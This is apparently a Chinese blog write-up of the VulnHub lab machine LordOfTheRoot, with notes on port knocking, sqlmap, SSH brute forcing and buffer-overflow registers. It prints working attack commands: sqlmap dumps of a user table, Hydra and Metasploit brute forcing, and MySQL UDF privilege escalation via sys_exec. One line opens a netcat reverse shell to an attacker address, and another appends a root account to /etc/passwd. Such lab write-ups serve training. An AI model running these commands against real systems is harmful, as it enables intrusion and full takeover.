首页 > 其他分享 >LordOfTheRoot_1.0.1(VulnHub)

LordOfTheRoot_1.0.1(VulnHub)

时间:2023-11-13 09:25:58浏览次数:30  
标签:sqlmap 1.0 -- 端口 sys VulnHub LordOfTheRoot mysql ssh

LordOfTheRoot_1.0.1_Writeup

目录

1、主机存活探测

存在防火墙

image-20231111233416811

image-20231111233403199

2、尝试仅仅开放了22端口

填写yes发现信息:Easy as 1,2,3

意思是让敲震端口3次!

image-20231111233805665

3、由提升进行端口碰撞

image-20231111234427481

4、敲震三次后进行全端口扫描

image-20231111234440397

5、信息枚举

image-20231111234632162

不摸所F12调试界面

image-20231111234738094

image-20231111234838095

跑目录跑不出来,只能手测

image-20231112001632379

base双重解码后发现新东西

image-20231112094118508

image-20231112094344507

image-20231112094251315

6、发现目录

image-20231112094321743

弱密码、目录爆破、漏洞探测均无效

7、SQLmap注入

sqlmap -u "http://192.168.126.166:1337/978345210/index.php" --forms --batch --dbs

image-20231112095757487

sqlmap -u "http://192.168.126.166:1337/978345210/index.php" --forms --batch -D Webapp --tables

image-20231112100214449

sqlmap -u "http://192.168.126.166:1337/978345210/index.php" --forms --batch -D Webapp -T Users --columns

image-20231112100457199

sqlmap -u "http://192.168.126.166:1337/978345210/index.php" --forms --batch -D Webapp -T Users -C id,password,username --dump

image-20231112101204868

8、通过数据库账号密码登入

每一个登入进去的内容均为一样的

image-20231112101316346

image-20231112101553460

9、尝试爆破

image-20231112102233113

10、SSH登录提权

ssh [email protected]
MyPreciousR00t

image-20231112102319242

11、EXP内核提权

查看系统版本

image-20231112104014541

谷歌搜索:Ubuntu 14.04 exploit

image-20231112104113932

image-20231112103818290

拿到漏洞脚本

image-20231112104246635

开放服务器

image-20231112104811544

靶机下载脚本

image-20231112104803341

执行脚本

image-20231112104953824

12、结束

image-20231112105101453

拓展内容

①端口碰撞

	端口试探(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。
	端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。
如何进行端口碰撞?
首先需要我们知道端口碰撞的序列,否则暴力碰撞开启的机会太小。


1)第一种方法:knock 命令
linux安装:sudo apt install knockd
使用:
knock <IP> <PORT1> <PORT2> <PORT3> <PORT4> -v
例如需要碰撞 172.16.1.1 的 3,4,7,8 端口:
knock 10.211.55.11 1 2 3 -v


2)hping3:TCP/IP数据包组装/分析工具
hping3 -S [IP地址] -p 1 -c 1
使用:
hping3 -S 10.211.55.11 -p 1 -c 1
hping3 -S 10.211.55.11 -p 2 -c 1
hping3 -S 10.211.55.11 -p 3 -c 1
-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。
-p --destport: 目的端口(默认为0),可同时指定多个端口
-c --count:指定数据包的次数

②web漏洞探测

image-20231112113541856

③sqlmap记录

sqlmap -u "http://192.168.126.166:1337/978345210/index.php" --forms --batch --dbs
sqlmap -u "http://192.168.126.166:1337/978345210/index.php" --forms --batch -D Webapp --tables
sqlmap -u "http://192.168.126.166:1337/978345210/index.php" --forms --batch -D Webapp -T Users --columns
sqlmap -u "http://192.168.126.166:1337/978345210/index.php" --forms --batch -D Webapp -T Users -C id,password,username --dump

Optimization:
--batch:自动确认所有选项
-o:开启所有优化开关
--predict-output:预测常见的查询输出
--keep-alive:使用持久的HTTP(S)连接
--null-connection:从没有实际的HTTP响应体中检索页面长度
--threads=THREADS:设置请求的并发数
--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试

④SSH爆破--MSF、Hydra

1)Hydra爆破
hydra -L user.txt -P pass.txt 10.211.55.11 ssh
[22][ssh] host: 10.211.55.11   login: smeagol   password: MyPreciousR00t



2)MSF爆破ssh
若有用户名和密码字典的话,使用auxiliary/scanner/ssh/ssh_login模块
若不知道,使用auxiliary/scanner/ssh/ssh_enumusers模块先探测用户名是否存在
参考:https://blog.csdn.net/huweiliyi/article/details/105590291
-------------------
命令:
search ssh_login
use auxiliary/scanner/ssh/ssh_login
set rhosts 10.211.55.11
set user_file /root/桌面/lord/user.txt
set pass_file /root/桌面/lord/pass.txt
set stop_on_success true

Success: 'smeagol:MyPreciousR00t'
用户名:smeagol
密码:MyPreciousR00t

⑤通过脚本跑系统漏洞

image-20231112110034555

⑥Mysql UDF提权

UDF提权先查看mysql版本!
dpkg -l | grep mysql   --查看历史安装包版本
5.5.44

查看mysql运行权限是不是root!
ps aux | grep root   ---查看mysql进程信息

在寻找mysql账号密码!
find / -name login.*
发现信息:/var/www/978345210/login.php

grep "password" -rn 存在password信息:
new mysqli('localhost', 'root', 'darkshadow', 'Webapp');

获得mysql密码:
darkshadow

登录mysql:
mysql -uroot -pdarkshadow

首先看一下是否满足写入条件:
show global variables like 'secure%';
是可以进行UDF提权的!

查看插件目录:
show variables like '%plugin%';
插件目录在:/usr/lib/mysql/plugin/

查看能否远程登陆:
use mysql;
select user,host from user;
只能本地登录!
---------
MySQL中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,它能容纳不同大小的数据。BLOB类型实际是个类型系列(TinyBlob、Blob、MediumBlob、LongBlob),除了在存储的最大信息量上不同外,他们是等同的。

MySQL的四种BLOB类型:
类型           大小(单位:字节) 
TinyBlob      最大 255 
Blob          最大 65K 
MediumBlob    最大 16M 
LongBlob      最大 4G 

可以利用lib_mysqludf_sys提供的函数执行系统命令,lib_mysqludf_sys:
sys_eval,执行任意命令,并将输出返回
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so .
mv lib_mysqludf_sys_32.so dayu.so


mysql -uroot -pdarkshadow
use mysql
create table dayu(dayu longblob);
insert into dayu values (load_file('/tmp/dayu.so'));
select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';
create function sys_exec returns string soname 'dayu.so';
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');
find / -exec '/bin/sh' \;


----------
拓展知识点:或者利用sys_exec、sys_eval
select sys_exec('nc -nv 10.211.55.19 6677 -e /bin/bash');
openssl passwd dayu1
YpIR51FecR9AY
select sys_exec('echo "dayu1:Ef8ipBmhp5pnE:0:0:root:/root:/bin/bash" >> /etc/passwd');
------

⑦缓冲区溢出漏洞

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
ESP就是前面说的,始终指向栈顶,只要ESP指向变了,那么当前栈顶就变了。

EBP:基址指针寄存器(extended base pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部。
EBP存储着当前函数栈底的地址,栈底通常作为基址,我们可以通过栈底地址和偏移相加减来获取变量地址(很重要)。

ESP:栈指针寄存器(extended stack pointer),其内存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶。
EIP存储着下一条指令的地址,每执行一条指令,该寄存器变化一次。
可以说如果控制了EIP寄存器的内容,就控制了进程——我们让EIP指向哪里,CPU就会去执行哪里的指令。

标签:sqlmap,1.0,--,端口,sys,VulnHub,LordOfTheRoot,mysql,ssh
From: https://www.cnblogs.com/carmi/p/17828436.html

相关文章

  • KubeSphere 社区双周报 | KubeSphere 3.4.1 发布 | 2023.10.27-11.09
    KubeSphere社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过commit的贡献者,并对近期重要的PR进行解析,同时还包含了线上/线下活动和布道推广等一系列社区动态。本次双周报涵盖时间为:2023.10.27-2023.11.09。贡献者名单新晋KubeSphereCon......
  • 【11.0】Go语言基础之结构体
    【一】什么是结构体结构体是用户定义的类型,表示若干个字段(Field)的集合。有时应该把数据整合在一起,而不是让这些数据没有联系。这种情况下可以使用结构体。例如,一个职员有firstName、lastName和age三个属性,而把这些属性组合在一个结构体employee中就很合理。【二】......
  • 【1.0】Go语言介绍及引入
    【一】Go语言介绍Go语言是Google公司在2007开发一种静态强类型、编译型语言,并在2009年正式对外发布。静态强类型语言需要先编译再执行比如C、C#、Java等语言需要先将代码编译成不同平台的可执行文件,才能在不同平台上运行需要解释器比如Python、PHP、node.js等语言,......
  • 每日总结11.09
    装饰模式1、理解装饰模式的动机,掌握该模式的结构;2、能够利用装饰模式解决实际问题。[实验任务]:手机功能的升级用装饰模式模拟手机功能的升级过程:简单的手机(SimplePhone)在接收来电时,会发出声音提醒主人;而JarPhone除了声音还能振动;更高级的手机(ComplexPhone)除了声音、振动外,还......
  • 11.09
    今天119。本来挺正常的,然后不知道为啥今晚洛天依没来,所以机房就我一个人(恐),不对,越想越不对劲,所以干脆不去想。然后OJ又炸了。最近挺频繁啊,一天炸一次,故意的是吧。今晚又只能乱打了。先这么着吧,往后学学。草,我刚发布完不超过5分钟洛天依就来了。打脸++。打个脚先......
  • 11.08县哗
    今天只能待到8点半......
  • 【2023.11.08】NOIP2023模拟试题-30
    前言数论迎我归,数学送我葬组合数学不容易,又有DP当T3刚爆零,T4又遭殃OI路上怅前望,且行且彷徨T1最大公约数T1应该想一想就会,接下来我们讨论是怎么减去他的复杂度的。题目的关键在于,如果根据给出的\(a\)推出\(\gcd\)的话,就会有\(9\times10^{10}\)条推导关系。而......
  • 错误:类文件具有错误的版本 61.0, 应为 52.0
    1.问题在使用Maven项目进行SpringBoot的配置时,2.原因我是用的jdk1.8,SpringBoot用的3.1.2,经查阅资料,因为Spring官方发布从Spring6以及SprinBoot3.0开始最低支持JDK17所以这里报错的原因是jdk1.8和SpringBoot3.0版本以上的冲突3.解决在项目解决修改模块SDK为JDK17以上即可。......
  • 每日总结11.07
    今天大数据上课做了实验,熟悉了常用的Linux操作和Hadoop操作,1.熟悉常用的Linux操作1)cd命令:切换目录2)ls命令:查看文件与目录3)mkdir命令:新建目录4)rmdir命令:删除空的目录5)cp命令:复制文件或目录6)mv命令:移动文件与目录,或更名7)rm命令:移除文件或目录8)cat命令:查看文件内容9)tac命令......
  • 11.07鲜花
    吾辈档子强!现在太忙了,谁还每天写鲜花啊。把谷禁了,现在只能用校内OJ(喜了然后没啥活了,顶多整点学校放的歌了,然后现在放的起床铃还挺好听的,但是我找不到歌。......